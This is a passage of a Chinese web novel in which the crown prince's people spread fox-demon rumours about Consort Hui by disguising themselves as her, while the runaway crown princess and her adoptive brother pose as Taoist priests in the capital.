江止说到此处,江箐珂立马插嘴更正道:“是赤狐!” “啊对!是九尾赤狐。” “那九尾赤狐只能附身在贪念欲望极盛的活人身上,而我师祖透过千里眼窥探,方知那九尾赤狐竟附身在宫里的某位妃子身上……” “如此,我二人才受师祖之命,前往京城捉拿那九尾赤狐……” 江箐珂和江止一唱一和,把谣造得跟那么回事似的。 喜欢太子妃为何不侍寝请大家收藏:()太子妃为何不侍寝更新速度全网最快。 第154章 老子说有就是有 一处在胡说八道地造谣,一处则在认认真真地作戏造谣。 花容受李玄尧之命,早已于几日前便做好了准备。 东宫书房的地下密室里,此时站了九位惠贵妃。 这九位惠贵妃皆是一身仙气飘飘的白纱长裙,怀里各抱着一只白狐狸。 但若是仔细去瞧,便会发现九个当中,有六个惠贵妃长得人高马大,膀阔腰圆的。 那一身长裙都比其中三位惠贵妃要宽大许多。 明明是女装扮相,却男里男气的。 喜晴看着谷丰穿着白纱襦裙,顶着个飞仙髻不说,还涂脂抹粉,眉间点着红艳艳的花钿,就觉得滑稽又可笑。 难得喜晴看着自己笑,谷丰便贱兮兮地扮起了女子的腔调,故意逗她。 “这,这这这位,姐......姐姐,本,本本本,本宫,可,可可可可美呀?” 曹公公砸了下舌,听到后立即提醒了谷丰一句。 “别调皮!谷丰可得记住了,到时千万别说话。” 见一切准备就绪,曹公公替李玄尧同九位“惠贵妃”下令。 “一会儿便坐着殿下的马车出宫,待三更天的更声响起,就按照殿下适才交代过的,分别去九个街坊行动……” 九人领命后,分别披上了黑色的大斗篷,跟在曹公公的身后出了密室。 在那空宅子里独自坐了一夜一天的穆珩恰好回宫。 他前脚刚推门踏进书房,便见到九个惠贵妃罩在大斗篷里,怀抱着九只哇哇叫的白狐狸,陆续从密室里鱼贯而出。 一时摸不清头脑的穆珩,步子惊得顿在那里,怔怔然地看着九个惠贵妃大摇大摆地从他面前经过,并同行礼打着招呼。 “见过穆大公子!” “穆大公子好!” “属下见过穆大公子。” ...... 飞仙髻,青山黛,桃花唇。 明明是一张妩媚美艳的贵妃脸,可一个个说出的话,却都是粗声粗气的汉子味儿。 听声辨人,穆珩反应了片刻,才回味过来刚刚从他眼前走过的“脏东西”,分别是谷昭、谷羽、谷俊、谷丰、南星和八哥儿 “奴婢见过穆大公子。” 终于来两个正常的,一听便是花容和玖儿。 唯有最后一个惠贵妃死气沉沉地瞧了他一眼,甚是敷衍了事地欠身行了一礼,话都没说一句,就被返回来的谷丰给拽走了。 那有其主,必有其奴。 江箐珂跟穆汐不对付,喜晴那狂妄奴才自也不给他好眼色。 穆珩只可惜自己是个草民,无权处置李玄尧心上人的贴身女婢。 待书房里落得清静时,李玄尧也从密室里走了出来。 一身玄色蟒袍垂感极佳,随着他的一举一动隐隐泛着流光。 灯下李玄尧容颜深邃,平静如水,一如既往地不辨喜怒。 他甩袍在矮榻上的茶桌前落座,自己喝的茶,也皆是亲手泡。 穆珩回头望了望那九个远去的身影,回味出李玄尧的破局办法。 收敛眼中的情绪和疲惫,他故作无事地赞了一句。 “殿下这招绝啊。” “不出三日,惠贵妃是妖物妲己之事,便要传遍整个京城了。” 李玄尧微微颔首。 修长冷白的手娴熟地煮水、洗茶、泡茶,最后也给穆珩递了一盏。 “殿下给斟茶,草民真是担当不起。” 穆珩拱手道了声谢,拿起那盏暖茶,喝了从昨夜到此时的第一口水。 李玄尧动作儒雅地品着茶,眼皮掀起,不动声色地看了穆珩一眼。 放下茶盏,李玄尧手语问穆珩。 【你家夫人可还好?】 【我记得应该到日子了吧?】 穆珩低头抿了下唇,再抬头时强颜欢笑地点头。 “谢殿下挂念,舒儿她很好。” “这次去,肚子又大了不少,估摸着也就这几日......就要生了。” 好看的眉头轻挑,两色的眼瞳里浮出玩味的笑意来。 【那就好。】 穆珩也自顾自地点头笑了笑。 “陪夫人陪得有些累,殿下若无事,我就先下去休息了。” 李玄尧缓缓地眨了下眼,算是应允。 待穆珩离开书房后,他长吁了一口气。 一个人独处时,所有的防备卸下,落寞、失望与疲惫于眼底显露。 高处不胜寒的实感,越来越强。 他侧头看向一旁的烛火,在脑海里勾勒着江箐珂的样子。 也不知她现在何处? 没有他这个怪物哑巴拖累,定是活得很自在吧? 口口声声说喜欢他,却心甘情愿地跟别的男子跳河,生死同赴。 早知如此,就不该随什么天意。 若是当初听父皇之言,娶了江箐瑶,不让江箐珂搅到他的生活里,此时便没这么难受了吧。 也是自作自受。 同是飘着花香的春夜,江箐珂和江止骑着毛驴,终于找到了一户农家借住。 赶了一天的路,四处又动嘴皮忽悠了一天,两人皆是风尘仆仆的。 借用农户的灶台,江止烧了一大锅水。 浴桶里兑好了水温,他便避嫌地出了房间,坐在门外守着。 屋里水声哗哗,撩得人心痒。 头靠着房门坐在地上,江止闭上眼,脑子里浮现出了无数场梦境里的旖旎场景。 周围烛火朦胧,暖黄的光影间,有清风拂过,带起纱幔轻舞。 香肩、红唇、酥胸、细腰,还有满含春水的美眸。 梦里,她双眼迷蒙地看着他,哼哼唧唧地唤了他一声阿兄,然后闭上眼,主动迎上来...... “阿兄!” 关键时刻,清脆的一声,惊得江止从那朦胧暖黄的画面里抽离。 “嗯!” 江止心虚地摸了摸鼻子,“怎么了?” 他转头看向半开的门,只见江箐珂从门缝里探出芙蓉面来,嘟嘴道:“这屋子里没有擦水的。” 她头发高高盘着,纤细的脖颈在门缝里隐隐露着,乳白的肌肤泛着光。 江止不敢在直视,立刻脱掉自己的衣袍,抬手递给了她。 “用这个吧。” 江箐珂撇了撇嘴,还是接下了。 条件不允许,由不得她娇气。 待她洗好后,便开门让江止进了屋子。 “先把浴桶里的水倒了,我这去给阿兄也烧锅水。” 洗过澡后的江箐珂清清爽爽的,发尖滴着水,鼻尖面颊都是白里透着粉,看起来像夏日里的水蜜桃似的,甚是可人又......诱人。 江止下意识地咽了咽口水,转过身去,开始脱上衣,并道:“不用,这水挺干净的。” “啊?” 江箐珂还是有点别扭,“可这水我刚洗过。” 江止却答:“忘了,西延军营里可没这么多讲究,几个大男人用一桶水再寻常不过。” “你一个女子,还能比那些汉子脏。” 江箐珂小声喃喃。 “那倒也是。” 江止就那么穿着裤子,光着膀子,坐到了浴桶里,视线紧随江箐珂在屋子里来来回回。 她一会儿替他铺床,一会儿去打水洗两个人袜子和衣袍,然后拿到窗前挂起来晾晒。 江止看得出神,视线忍不住在那腰肢上流连。 待视线上移落在了那衣衫遮掩不住的弧度,他不由扇了自己一巴掌。 江箐珂扭头看他,不解道:“无缘无故的,扇自己巴掌作甚。” 水声哗哗,江止身子坐正,头后仰靠着桶沿,闭眼搪塞:“有蚊子。” “这时候哪来的蚊子?” “老子说有就是有。” 第155章 没想过 草草搓洗了几下身子后,江止又使唤起江箐珂来。 “给阿兄拿身干衣服来。” 江箐珂这几日殷勤得很,闻言,腾地从那简陋的木板床上弹起,从行囊里翻出江止的备换衣物来。 双手捧着来到浴桶前,却见江止正坐在浴桶里洗裤子。 裤子不在身上,那就代表水下面…… 江箐珂立马扭头看向别处,将衣服朝江止递了递。 “衣服在这儿,阿兄快拿去。” 江止瞥了她一眼,偷偷勾唇坏笑。 “急什么?” “先替阿兄拿着。” “这不得等阿兄把裤子洗干净了,身上的水擦干净嘛。” 江箐珂抿唇不接话,头始终若无其事地扭向一旁,东瞧西望地打量着房子,以缓解不好言明的尴尬。 屋子里静得很,静得一切微弱的声响都会被放大,静得有种微妙的氛围在流淌。 江箐珂故意发声,在那里自言自语,也不在乎江止搭不搭理她。 “这房子好旧,看起来有年头了。” “窗户纸破成这个样子,也不重新糊一下......” 一双眼睛不自在地滴溜溜转着,视线从简陋又破旧的桌椅板凳,慢慢上移到房顶,开始数这间小房子里有几根衡梁。 耳边水声淅淅沥沥的,江止那裤子却是洗个没完。 等了好一会儿,她便不耐烦起来。 “一个裤子而已,怎么洗个没完,再洗裤子都要洗破了。” “阿兄快点,我手都拿酸了。” 话落,手上一轻,江止先拿走了裤子。 “催!催!催!就知道催!” “转过去。” 江箐珂“哦”了一声,紧忙转过身去,挪出几步远,并将剩下的衣服放到茶桌上。 “衣服放到这里了,阿兄自己来拿。” 言毕,她便要往床上跑,想赶紧藏到被子里去。 “等下!” 江止却又叫住了她。 “帮阿兄把裤子拿去晾了。” 江箐珂虽不情不愿,可看在江止愿意陪她回京城的份上,只能乖乖任他差使。 她背对着江止,手心朝上地伸了过去。 “裤子给我。” 手上猛地一沉,拧得半干的一团轻轻砸进她的掌心里。 江止收手时,指尖似是无意地滑蹭过她的手背,留下几行温热的湿意。 自小时候起,两人打打闹闹,这种触碰便没少过,也从未当过事。 可江箐珂不仅见过猪跑,还吃过猪肉了,现在反倒对这些敏感起来。 但想着阿兄定是无心之举,便也装作一副无所谓的模样。 将那条白色里裤展开甩了甩,江箐珂开始在屋子里寻找晾挂的地方。 实在无处可挂,江箐珂便把主意打到了窗户上。 本也是农户闲置不住的,破旧不说,还甚少搭理。 窗棂上不用看也知积了不少的灰。 江箐珂找来抹布,踮起脚跟,直直伸手去擦窗棂的最顶端。 角度使然,高度限制,擦起来难免有些费力。 正当她转身要去搬个凳子来时,带有湿气的暖意突然从后背靠近,扭过去的脸险些贴到衣袍大敞下的胸膛。 江箐珂紧忙回过头来。 手中的抹布被江止夺去,健壮的手臂自她身侧抬起,自然而然地将她圈进高大宽阔的身影下。 “没长嘴啊,够不到,不会同阿兄说。” 江止毫不费力地擦拭着,动作间,江箐珂的头被那胸膛撞得前倾了一下。 她挪步要到一旁,大手却突然按住她的肩头借力,让人不得动弹。 江止的气息萦绕在周身,明明再熟悉不过,今日却陌生无比。 细细想来,这么多年,江箐珂都是把江止当阿兄来看待的。 从未认真想过阿兄其实也是个男子,是跟夜颜一样会打桩的男子。 思绪恍惚间,江止已将那裤子平平整整地挂在了窗框上。 大手落在她头顶,像以往一样,胡乱又宠溺地搓弄了几下。 “呆愣愣地想什么呢?” “快上床睡觉!” 江止转身而去。 可那胸膛的温度和坚挺结实的触感,却残留在江箐珂的后背上,让她变得拘谨起来。 再瞧这屋子,江箐珂便觉得这屋子小得很,小得两个人分开睡都有点挤。 可看江止那不拘小节的痞子模样,又不觉得有什么。 对一个能同酒楼老板娘打情骂俏、拍人家屁股的人,还谈什么礼教规矩? 江箐珂摇了摇头,收起了那莫须有的矫情。 她动作麻利地爬上床,拽过被子从头到脚蒙个严实。 熄了灯烛,江止枕着双臂躺在地铺上,盯着黑漆漆的房梁发了会儿呆。 半晌,他转身侧卧,看向床上那蒙在被子里的人。 “满满。” 他轻声唤道。 “干嘛?” 含糊不清的声音从被子里传出来。 似是斟酌纠结,过了好半晌,江止才开口。 他问:“若当初你没争着嫁东宫,可想过要找什么样的男子当夫君?” 江箐珂扯开被子露出头。 她姿势不变,背对着江止,答得直率。 “从没想过。” “那时,每天只知没心没肺地跟在阿兄身后,在军营里跟其他兵将们操练,回到府上跟江箐瑶和张氏对着干,有仗时就出去杀几场,闲来无事时跟阿兄出去找找乐子。” “就没想过嫁人的事,也没对谁倾心过,更没想过找什么样的男子当夫君。” “即使听江箐瑶同张氏聊过,也只觉得嫁谁都一样。” 江箐珂卷弄着自己的头发,饶有兴致地反问江止。 “阿兄呢,可想过?” 江止怅然若失地叹了口气。 “老子也没想过。” “更没想过......你会嫁人离开西延。” “总以为,你会跟在阿兄身后一辈子。” “竟然忘了你是女子,会长大,会嫁人。” 江箐珂翻过身来,看向黑暗里那张看不清的脸。 “人不都这样嘛。” “阿兄早晚也是要娶妻生子、成家立业的。” “所以,现在开始阿兄就好想想,到底要娶个什么样的女子,等回了西延让父亲找个好媒婆,给你物色个正经人家的好姑娘。” 江止语气闲适道:“老子早想好了。” 黑暗里一双眼睛微亮,江箐珂心生好奇。 “什么样的,快说说看。” 江止却卖起关子来。 “等回了西延,就告诉你,老子想娶个什么样的。” 第156章 劈叉了 骑着毛驴,赶了四五日的路,江箐珂与江止终于回到了京城。 而长洲城那般的春色,此时也随着南风一路吹到了京城。 满城的杏花、迎春和玉兰开得如烟似雾,放眼望去,皆是一片纯粹又烂漫的景色。 两人左瞧右瞧,小心翼翼地穿行在花瓣雨中。 身份还是道士的身份。 而假的身份文牒则是江止在来的路上,靠着一声声“兄弟,你印堂发黑”,最终从某个县邑的小官吏那里忽悠来的。 用卖掉毛驴的银子,两人寻了间便宜客栈。 交好房钱,在接过房门钥匙时,那客栈掌柜好心叮嘱了两人一句。 “二位客官切记,有什么事儿尽量在白日里办了。若夜里必不得已出门,务必赶在子时之前回来。” 这话一听便有蹊跷。 江箐珂便好奇道:“从未听说京城有夜禁之说,不知为何要赶在子夜之前回来?” 掌柜拧着眉头,表情神秘兮兮的。 “二位刚来京城有所不知,最近京城夜里啊......不太平。” 侧歪的身体姿态慵懒地倚着柜台,江止无聊地卷弄着下巴上的假胡子,附声问道:“说说看,怎么个不太平法?” 那掌柜的探头凑近,同两人低声道明缘由。 “最近京城里闹妖闹得凶。” “一个是九尾狐妖夜里出来勾引男子,挖心吃肝,另一个则是一只猫妖,听说比那九尾狐妖还要邪性。” “凡是被猫妖盯上的,瞬间就会被吸成干尸,死相极其恐怖且凄惨。” “前些日子,京城发生了几场离奇命案,至今悬而未破,据说便是那猫妖所为。” “那狐妖至少只害男子,可这猫妖吸人精血,不分男女,讲究一个阴阳调和。” “现在闹得京城百姓人心惶惶,一到夜里,各家各户甭管什么门第,都把大门锁得死死的,不敢踏出房门半步。” “所以,二位道长若是想平平安安地离开京城,夜里也最好少出门。” 江箐珂隔着帷帽下的垂纱,与江止对视了一眼。 江止佯作惊诧,继续套话。 “妖物如此横行京城,为非作歹,朝廷就没派专人出面管管?不是说钦天监里卧虎藏龙,有许多能掐会算、捉妖除魔的高人吗?” 那掌柜的苦着脸摇头、摆手。 “问题是没皇上的命令,谁敢管啊?” “这两妖物身份都不简单。” 他谨慎地朝着门外瞧了瞧,然后单手拢在嘴边,同他二人小声言语。 “据说那九尾狐妖是……是惠贵妃。” “而那猫妖,则生着一对异瞳。” “好巧不巧,前些日子宫里有传言流出,说是当朝太子殿下于梦中得仙人点化,得了一双能辨忠奸的双色慧眼,而那时机正好也是离奇命案发生之时。” “眼下这京城里闹妖闹得凶,好多人怀疑,太子殿下并非得仙人点化,而是跟惠贵妃一样……” 话说到此处,那掌柜的便不再继续言说,而是挑了挑眉头,朝江箐珂和江止递了个暗示性极深的眼神。 借着这个话头,江箐珂便替李玄尧说起话来。 “掌柜的有所不知,贫道和师兄此番来京城,便是受师祖之命,前来捉拿那九尾狐妖的。” “这九尾狐妖厉害得很,能百般变化来迷惑凡人。” “要贫道觉得啊,这猫妖,或许就是那狐妖变的……” 江箐珂和江止就这么站在柜台前,一唱一和,把说了一路的谣又讲了一遍。 掌柜的听后,嗤笑了一声。 “那二位道长的师祖道行也不行啊。” 江箐珂不懂,呛声反问。 “怎么不行了?” 掌柜的答:“那狐妖是白狐,压根不是赤狐,京城里可是有百姓和官员夜里亲眼见过的。” “……” 怔了一瞬,江箐珂唇角抽动,结巴道:“白,白,白的?” 掌柜的点头:“啊!白的!” 江止在旁抿嘴憋笑。 他微微俯身,凑到江箐珂耳边小声道:“完了,咱俩这谣……造劈叉了。” “什么,赤,赤狐?” 东宫的书房里,此时也在说着九尾狐的毛色。 穆珩神色诧异地又嘀咕一句。 “竟然有人造谣是宫里的某位贵妃是九尾赤狐?” 他纳闷儿地看向李玄尧。 “这事儿倒是巧了。” “咱们造谣是要往京城外传,怎么还有人造谣往京城里传?” 似是想到了什么,穆珩眸光一闪,转头又看向谷俊。 “归宝阁那边可有说在地方州县造谣的是何人?” 谷俊点头道:“说是两个小道士,一男一女。” 摩挲茶盏的手突然顿住,异色瞳孔骤缩。 李玄尧缓缓掀起眼皮,目光沉沉地看向谷俊。 放下茶盏,他手语询问。 【其他地域的归宝阁可有送来类似的消息?】 谷俊摇头。 “听京城归宝阁的典当先生说,暂时只有三处的归宝阁先后送来这个消息。” “属下来禀告前,瞧了眼大周舆图,此三处皆是一条官道上必经的三个州县城邑。” “但具体这谣是从何处开始造的,便不得而知了。” 闻言,穆珩在旁道出了李玄尧心中所想。 “甭管黑狐、白狐,还是赤狐,这谣造的明显是帮着殿下的,把妖物祸事的矛头都引到了惠贵妃的头上。” 李玄尧闻言没回应。 他垂眸思索了片刻,又问谷俊。 【归宝阁那边还未打听到江止的下落?】 谷俊答:“属下问过了,还没有线索。” 手指一下下地敲打着桌面,李玄尧气场森寒威冷地又默了片刻。 待敲到第五下,他同谷俊下令。 【多带些人手,顺着那三处归宝阁所在官道,去追查那两个小道士的下落。】 【记住,若是人见过,问下他们的穿着和长相。】 谷俊领命而去。 穆珩看出了李玄尧的心思,遂问:“殿下莫不是怀疑,那两个小道士是太子妃和江止?” 李玄尧避而未答,反倒手语问穆珩。 【今日休沐,朝中无事,不去看你家夫人?】 穆珩先是愣了一瞬,随即讪笑着给自己打圆场。 “差点就忘了,今日是要去看她的。” 起身同李玄尧恭敬地行了礼,又说了两句客气话后,穆珩退出了书房。 而他前脚刚走,太傅白隐便来东宫求见。 行过君臣之礼后,白隐同李玄尧恭声道:“微臣此来,是想同太子殿下告上一个月的官假。” 李玄尧一侧眉头轻挑,情绪平平地看着白隐,眼神问他所为何事。 白隐声色温润清朗道:““微臣成婚已有些时日,依照婚嫁礼俗,理当偕内子返其母家归宁。然西延道途迢递,往返之间难免耗费时日。本欲待殿下即位大典之后再行启程,只是内子……” 白隐面露难色,浅笑道:““无奈内子在家屡屡埋怨,嫌微臣怠慢了她。此番归宁,亦兼为护送岳母回返西延,故微臣便想着先得殿下准允,再上呈官假文书到吏部。” 本就是情理之中的事,李玄尧没有不准之理。 更何况,眼下他也并无要用到白隐的地方,且朝政日繁,再不似往昔,可偶尔抽暇让白隐来东宫讲书论政。 遂命曹公公备了些礼,托白隐一道带到西延给江老将军。 但在白隐退下前,李玄尧又补充了一句。 【路途遥远,保不齐会遇到危险,本宫派些人,护送太傅一家去西延。】 白隐感激不已地拱手行礼。 “微臣谢太子殿下。” 第157章 何必强求 夜里,养心殿。 针灸,药熏,内服药丸。 日积月累的医治下,李玄尧的嗓子总算也是有了些起色,虽然还不能正常说话,但总算是可以发出一些声音。 待那神秘的布衣老者被带出寝宫后,衡帝开始同李玄尧谈起正事来。 “老十已去东营赴任,若无宣召,再不得踏入京城半步。” “老十一整日沉迷于花鸟诗画,偎红倚翠,毫无作为,于你并无任何威胁可言。” “待你登基之后,给他随便封个官职,让他做个闲散王爷便是。” “至于天降谶语之事,目前来看,你的处理无功也无过,虽没赢过惠贵妃,但好在也没被谶语所困。” “但还是要尽快想个法子,趁早把猫妖一事解决,与你撇清关系。” “如此,朕才好处置惠贵妃,将她打入冷宫。” “否则她先除掉,你倒要应了那谶语,成了世人口中的妖物称帝。” 李玄尧颔首,提笔在折册子上回复。 【儿臣会尽快想法子解决。】 衡帝仍不放心,轻咳了几声后,又道:“太子妃既然把军令牌留给了你,两万未免太过显眼,不如就先调用五千兵马,到城外暗中待命,以备不时之需。” 叮嘱完该交代的,衡帝便问李玄尧。 “至于太子妃,你如何打算?” 李玄尧低头沉默了。 衡帝叹了口气。 “当初就劝你娶那江箐瑶,你偏要听随天意。” “否则,以江箐瑶那好拿捏掌控的性子,又何至于今日?” “江箐珂那丫头性子骄横难驯,不比你母后好哄。” “看着没什么心机,却也有机灵的一面。” “她这分明是拿捏住了你的心性,吃准你舍不得杀她,更舍不得诛她九族,才敢恃宠而骄,如此肆意妄为。” 说到此处,衡帝露出不悦之色,紧握着龙杖用力敲了下金砖地面。 可是气归气,却又不想让李玄尧为难。 “终归是你的心上人,作为过来人,朕也不好插手乱管此事。” “但,眼下她下落不明,何时能寻到尚不可知。” “你也不能一直用东宫里那个假的来掩人耳目。” “既然留不住,再怎么勉强,也是徒劳,最后对彼此都是互相折磨。” “这天下女子何其多,送走江箐珂,日后你总会再遇到与你心意相通相惜之人。” “以朕来看,你倒不如念在夫妻一场的份上,放手成全她,日后也好让她江家能记住你这份宽容,忠心为你所用。” 长而密的睫羽轻颤,却遮不住李玄尧眼底的阴郁。 他虽没有回应,但是衡帝的话,却是一字一句地听得仔细。 最后衡帝又苦口婆心地劝诫起来。 “即位前后最是关键之时,且勿再将精力都放在儿女情长之上。” “即使你想弱水三千只取一瓢饮,日后遣散宫中妃嫔,可那又是何其难做?” “后宫与前朝制衡息息相关,若可两全,朕当初又岂会委屈了你母后。” “欲戴其冠,必承其重。” “记住!你要守的不仅是李家的社稷,还有大周子民的安居乐业。” 李玄尧回到东宫后,在凤鸾轩里坐了许久许久。 一根红绸带在他指上缠来绕去,动作时而快,又时而慢,似是在做着什么艰难的决定,眼神复杂多变。 那红绸带展开,上面便是那句“摘此绳者狗也”的话。 当是瞧着,只看出了江箐珂写下此话时的调皮心性。 可现在反观,却是刺痛人心的现实。 她连在月老庙里许愿,都不会像其他女子一样,许下长相厮守的愿望。 李玄尧自嘲般地摇头苦笑。 一滴泪不争气地从眼角滑了出来,滴落在手中的那条红稠带上,晕开一圈湿痕来。 既然如此,父皇说得对。 何必强求? 成全,放手。 起身在案桌前落座。 宣纸展开,李玄尧提笔润墨,字斟句酌地写了一封《放妻书》。 只待日后寻到江箐珂时,他会再亲口问她一次。 若是她仍选择离开,这封《放妻书》便是他二人的归处。 夜未央,烛泪流淌。 李玄尧就这么坐在那纸放妻书前,像是被抽去了所有气力一般,目光泛红地盯着灯烛怅然发呆。 烛影摇曳,相思如火。 索性,拿起案桌上倒扣的茶盏,直接扣灭了那相思之火。 这厢刚熄的烛火,却串至另一双美眸中燃起。 江箐珂提着刚点亮的滚灯,和江止一人提着一把桃木剑,腰间塞着一沓黄纸朱砂符,煞有介事地要出门去“捉妖”。 客栈的掌柜瞧见了,立马上前拦住。 “二位道长当真不要命了?” “听说那狐妖和猫妖妖力高强,见者必死。” “在下觉得您二位的那位师祖也不靠谱,且不可乱逞能白白丢了性命啊。” 江箐珂拍了拍那掌柜的肩头,胸有成竹道:“贫道和师兄的身手绝对没问题。平常人见了是要丢性命,但我二人可不是平常人啊。掌柜的且等着,我二人今天定先把那猫妖给除了。” 抽出腰间的刺龙鞭,她忽悠得像那么回事似的。 “看到了没?” “这是镇妖鞭,是我祖师爷的祖师爷的祖……” 话说到此处,江箐珂便被江止捏着脖子给带出了门。 “你可快走吧。” “比老子还能吹。” 如今的京城,夜里街上的行人确实少了不少。 两人所经之处,家家户户都房门紧闭,就连平日里,灯红酒绿、热闹喧嚣的咏月坊都冷清了起来,店门口更是连盏灯笼都不挂,很怕会惹妖注意似的。 江止踏着懒拖拖的步子,跟在江箐珂身后,嘟嘟囔囔地耍着桃木剑。 “这么大的京城,去找哪儿碰那装神弄鬼的猫?” “比起猫妖,老子倒挺想会会那勾男人的狐妖,正好瞧瞧惠贵妃长的什么鬼模样。” 第158章 妖怪打架 皎月当空,奢华的金丝楠木马车在暗巷里缓缓停下。 与外面看上去的不同,宽敞的马车内此时却是拥挤得不行。 谷俊坐在车门旁,眼神温柔地撸着怀里的小白狐,时不时地狐言狐语几句。 他身后的谷昭则头靠着车壁,怀里抱着狐狸,一人一狐,呼噜打得都是震天响。 八哥儿蜷坐在角落里,目光放空地盯着一处,神色凝重,似乎在想着心事。 谷丰则用惠贵妃的脸对着喜晴傻笑,磕磕巴巴地同她小声聊着什么,时不时被喜晴捶打几下。 玖儿和花容则是面无表情地夹坐在中间,有种不知今夕是何年的调调。 而谷羽受李玄尧之命出城办事,遂今夜的车内便少了一个“惠贵妃”。 剩下一个黑甲卫统领南星则是打足了精神,透过车门缝打量着外面的情况。 八个人,八只狐。 坐着的、趴着伸舌头哈哈的,以各自的姿态挤成了一团。 见车夫同他打了个手势后,南星顶着那张女人脸,转头同其他几人交代。 “太子殿下有令,今夜除了扮惠贵妃吓人外,还要探探惠贵妃那边的人到底是如何用作妖的。” “若有发现,当场活捉。” “谷俊、谷昭、谷丰,还有我,各负责一个坊区。” “花容和玖儿姑娘负责书砚坊,喜晴和八哥儿负责静安坊,待四更天时,来此汇合。” 谷丰看了眼八哥儿,抬手表示有异议。 “等,等,等……” 可不等谷丰把话磕巴完,南星便一声令下打断了他的话。 “下车!” “......” 谷丰无语又无奈,只能看着喜晴冲他吐了吐舌头,拽着八哥儿,像一对好姐妹似的,扭腰晃臀地各牵着一只白狐走了。 “对,就是这么扭的。” “公公扭得不错!” 喜晴夸起八哥儿来。 “有点子狐媚子味儿了。” 八哥儿忍俊不禁,略有些羞涩地低头笑了。 “是喜晴姑娘教得好。” 顺着无人且幽暗的街巷,两人就这么扭啊扭啊,没多久便扭到了静安坊。 坊如其名,安静如斯。 一家店门紧闭的酒楼前,有棵开得正盛的杏花树。 喜晴瞧见,便拉着八哥儿爬上去,一起悬着腿,坐在粗壮的枝干上。 “公公竟然没爬过树?” 喜晴很是惊讶。 八哥儿温文尔雅地浅笑道:“此乃不雅之行,先生是不准的。” 喜晴撇了撇嘴,眉间鼓着嫌弃。 “夫子们是都这样的。” “以前在西延,我陪太子妃和大公子他们去书堂里读书,夫子也是不准我们这样,不准我们那样。” “不过,太子妃和大公子总是不听夫子的话。” 话锋一转,喜晴问八哥儿:“但是,公公不觉得这样坐在树上,挺有趣的吗?” 八哥儿抬头,眼噙笑意地打量着周身。 满树的杏花开得如云似雾,雪白一片,让人有种置身于云朵之中的错觉。 适逢夜风拂过,花瓣随风而散,在月光下飞扬飘舞,绚丽烂漫得不像话,纯粹美好得不真实。 只仰首欣赏过的景色,如今换了个角度,竟是另一番与众不同的意境。 八哥儿低头瞧去,只见怀里的白狐鼻子上,竟也绝妙地落了一片杏花花瓣。 他目露新奇和欢喜,回答喜晴适才的话:“甚是有趣。” “是吧?还是我们太子妃说得对。” 悬空的双腿自由自在地晃悠着,喜晴从袖袋里掏出一把瓜子递给八哥儿。 “什么雅不雅、俗不俗的,人怎么开心,就怎么来。” “用我们太子妃的话说,夫子所言未必就对,若按照夫子所教,规规矩矩地活一辈子,那就活成了别人,想想就很无趣。” “我虽是个奴婢,但也知晓什么都尝试过了,才知何为好与坏、对与错、雅与俗。” 八哥儿接过喜晴递的那把瓜子,捏在手心里,又默默地纠结起先生交给他的任务。 毒死衡帝,保护先生,这样做到底对吗? 他想了许多日,却也没想出个结果。 可先生有恩于他,他又岂可辜负了先生的恩情? 沉思了片刻,八哥儿婉转迂回地问喜晴。 “若是喜晴姑娘的恩人,突然有一日,想要你违背自己的心意,去做一件事,喜晴姑娘当该如何?” 喜晴甚是随意地嗑着瓜子,拧着眉头反问。 “那这恩人也不咋地啊,这不是挾恩图报吗?” 八哥儿似是自言自语地呢喃着。 “挾恩图报?” 喜晴用力点头,一双杏眼晶晶亮。 “对啊,就是挾恩图报。” “我们太子妃说了,挾恩图报的那都不能叫作恩,只能说是利益交换,尤其是那种早有图谋所施的恩情。” “当然恩是该报的。” “但你主动报恩,和恩人主动让你报恩,那可是两码事。” 八哥儿仰头欣赏着头顶的杏花,眼神复杂地笑了笑,不再说什么。 喜晴则透过花瓣和枝杈缝隙,望着空中皎月,突然惆怅起来。 “也不知太子妃和大公子现在在哪儿,我好想他们啊。” 一声“好想”,念得江箐珂和江止打了个喷嚏。 两人动作一致地搓了搓鼻子,继续往一条暗巷深处走。 江止警惕地打量着周遭,并低声质疑。 “也不知对方是不是真的抱只猫出来装神弄鬼,咱们这么盲目地找,能行吗?” 江箐珂也不太确定。 “能吧。” “客栈掌柜的不是也说了吗,有人亲眼见过一只白猫,把一个虎背熊腰的大汉,瞬间就给吸成了干尸。” 江止感到模棱两可。 “这话也未必可信,说不定,对方只是买了几张嘴造的谣。” “想帮太子把猫妖这事儿摆平,老子觉得还是得另想妙策。” “毕竟,就算有作妖的猫,抓了一只,人家还能再找一只来,终究是治标不治本。” 江止的话听起来有几分道理,江箐珂点了点头。 “今晚先探探情况再说吧。” 两人走着走着,便听到惊恐的喊叫声从不远处传来。 “救,救命,救命啊!” “猫......” “猫妖来了!” “啊!狐......” 江箐珂和江止循声赶去,便见一个打更人连滚带爬地从条巷子里跑了出来。 一边跑,还一边冲着他二人高声惊呼。 “快跑!” “巷子里有妖怪。” “两只大妖怪,打起来了。” 江箐珂和江止很怕错过热闹,闻言,蹭蹭蹭地,跑得比先前还要快。 尖锐刺耳的嘶吼从那里巷子里传出。 忽而凄厉如哀嚎,忽而暴烈如怒吼,在这寂静无人的巷子里,听起来犹为诡异森冷。 待两人冲至那巷口,借着手中的滚灯,便瞧见有两伙大妖怪在巷子深处打架。 地上,一只白狐跟白猫扭打成一团。 吱哇乱叫,猫毛、狐毛满地飞。 墙头上,一名白衣女子挥剑与一名黑衣男子打得不可开交。 铿铿锵锵,大有不是你死就是我活的架势。 江箐珂和江止慢慢靠近,仰头看热闹看得来劲。 忽见一个白花花的东西从半空中飞来,径直朝江止的面门砸来。 江止敏捷接住。 江箐珂担心地侧眸瞧去,谁承想江止手里握着的竟是个......大馒头? 一侧眉头挑起,江止捏了几下馒头,哭笑不得。 “敢情是天上不掉馅饼,掉馒头啊。” 提起手中的滚灯,借着夜色,江箐珂朝墙头上的人望去。 只需一眼,她便认出了那张与身材很是违和的脸。 这狭路相逢,江箐珂肯定是要帮“惠贵妃”的。 手中的桃木剑用力一撇,如同飞镖一般旋飞出去,精准打到那黑衣男子的膝盖窝。 黑衣男子受力腿软,身子失衡,猝不及防地从墙头上摔了下去。 “惠贵妃”一个侧翻,从墙头跃下,手刀狠狠下去,把刚刚挣扎起身的黑衣男子劈晕了过去。 掏出绳索将人绑好,那“惠贵妃”才朝江箐珂两人看过来。 不管这位“惠贵妃”是谁,肯定都是李玄尧的人。 江箐珂立马低下头去,将帷帽的垂纱放下,挪步走到江止身后。 只见“惠贵妃”调整了下身姿,长剑回鞘,便扭腰晃臀,施施然地走到江箐珂和江止面前,盈盈一礼,以示谢意。 但并未开口说过一句人话。 